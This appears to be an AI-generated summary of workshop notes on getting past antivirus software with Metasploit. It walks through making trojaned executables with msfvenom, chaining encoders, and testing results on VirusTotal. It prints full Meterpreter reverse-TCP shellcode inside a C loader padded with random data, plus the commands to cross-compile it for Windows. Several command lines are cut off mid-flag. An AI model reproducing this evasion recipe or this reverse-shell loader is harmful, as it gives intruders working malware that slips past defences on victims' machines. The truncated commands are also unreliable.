perplexity

Workshop Content

Antivirus Detection Methods

Most antivirus solutions begin by comparing potentially dangerous code to a set of patterns and rules—known as antivirus definitions—which match known malicious code. These definitions are updated regularly as new malware is identified by each vendor. This identification process is called *static analysis*.

In addition to static analysis, more advanced antivirus solutions also test for malicious activity, a process called *dynamic analysis*. For example, a program that tries to replace every file on the hard drive or connects to a known botnet command and control server every 30 seconds is exhibiting potentially malicious activity and may be flagged.

If you know which antivirus solution is deployed in your client's environment, you can focus your efforts on clearing just that antivirus program.

Setting Up Microsoft Security Essentials

- Open Microsoft Security Essentials.
- Select the **Settings** tab.
- Choose **Real-time protection** and check the box to turn on the service.

Creating a Trojan

The `-k` flag in `msfvenom` will keep the executable template intact and run your payload in a new thread, allowing the original executable to run normally.

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=2345 ->
```

To see which antivirus programs detect your trojaned `radmin.exe` as currently written, upload the file to VirusTotal and click **Scan it!**. Because antivirus definitions are constantly updated, your results will differ.

Getting Past an Antivirus Program

Clearly, if we want to get past antivirus solutions, we need to try harder to hide. Let's look at some other useful ways to hide our Metasploit payloads besides simply placing them inside of an executable.

Encoding

How Encoders Work

Encoders mangle the payload and prepend decoding instructions to be executed in order to decode the payload before it is run. It is a common misperception that Metasploit's encoders were designed to help bypass antivirus programs. Some Metasploit encoders create polymorphic code, or mutating code, which ensures that the encoded payload looks different each time the payload is generated. This process makes it more difficult for antivirus vendors to create signatures for the payload, but as we will see, it is not enough to bypass most antivirus solutions.

Listing All Encoders

```
root@kali:~# msfvenom -l encoders
```

Using the `shikata_ga_nai` Encoder

Tell Msfvenom to use the `shikata_ga_nai` encoder with the `-e` flag:

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=2345 -e
```

Now upload the resulting binary to VirusTotal.

Chaining Encoders

To see if you can improve your results, try experimenting with using multiple Metasploit encoders on your payload. For example, you can combine multiple rounds of `shikata_ga_nai` with another Metasploit encoder, `x86/bloxor`.

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=2345 -e
```

Instead of setting the format to `.exe`, output in raw format. Also, instead of outputting the results to an `.exe` file as before, this time output the raw bytes into a `.bin` file.

Test the file in VirusTotal again.

You may be able to improve your results by experimenting with different sets of encoders, chaining more than two encoders together, or by combining techniques.

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=2345 -x
```

Custom Cross Compiling

```
#include <stdio.h>
unsigned char random[]=
unsigned char shellcode[]=
int main(void)
{
  ((void (*)())shellcode)();
}
```

Create your payload in Msfvenom as usual, except this time set the format with the `-f` flag to `c`, as shown below. This will create hex bytes that you can drop into your C file.

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=2345 -f
```

You may see this:

```
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6"
"\x85\xf6\x75\xec\xc3";
```

Adding Randomness

Finally, you need to add some randomness. A good place to find randomness on a Linux system is in the `/dev/urandom` file. This file is specifically designed as a pseudorandom number generator; it generates data using entropy in the Linux system.

```
root@kali:~# cat /dev/urandom | tr -dc A-Z-a-z-0-9 | head -c512
```

Now drop the data from `/dev/urandom` into the `random` variable in the C file.

```
#include <stdio.h>
unsigned char random[]= "s0UULfhmiQGCUMqUd4e51CZKrvsyIcLy3EyVhfIVSecs8xV-JwHYlDgfiCD1UEmZ
0no4qjUIIsSgneqT23nCfbh3keRfuHEBPWlow5zX0fg3TKASYE4adLqB-3X7MCSL9SuqlChqT6zQkoZNvi9YEWq4e
-ajdsJW7s-yZOKHQXMTY0iuawscx57e7Xds15GA6rGObF4R6oILRwCwJnEa-4vrtCMYnZiBytqtrrHkTeNohU4gXo
-lgM-BgMREf24-rcW4zTi-Zkutp7U4djgWNi7k7ULkikDIKK-AQXDp2W3Pug02hGMdP6sxfR0xZZMQFwEF-apQwMJ
5RTHFtrQP8yismYtKby15f9oTmjauKxTQoJzJD96sA-7PMAGswqRjCQ3htuWTSCPleODITY3Xyb1oPD5wt-G1oWva
LERRN5ZJiPEpEPRTI62OB9mIsxex3omyj10bEha43vkerbN0CpTyernsK1csdLmHRyca";
unsigned char shellcode[]= "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
```

```
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a"
"\x05\x68\x0a\x00\x01\x09\x68\x02\x00\x09\x29\x89\xe6\x6a\x10"
"\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e"
"\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56"
"\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a"
"\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6"
"\x85\xf6\x75\xec\xc3";
int main(void)
{
  ((void (*)())shellcode)();
}
```

Compiling for Windows

Use the Mingw32 cross compiler from the Kali Linux repositories to generate a file that executes in Windows; `gcc` alone will not suffice.

```
root@kali:~# i586-mingw32msvc-gcc -o custommeterpreter.exe custommeterpreter.c
```

Now upload the resulting executable to VirusTotal[1].

⁂

1. 2025-05-12-Bypass_Antivirus_workshop_Notes.pdf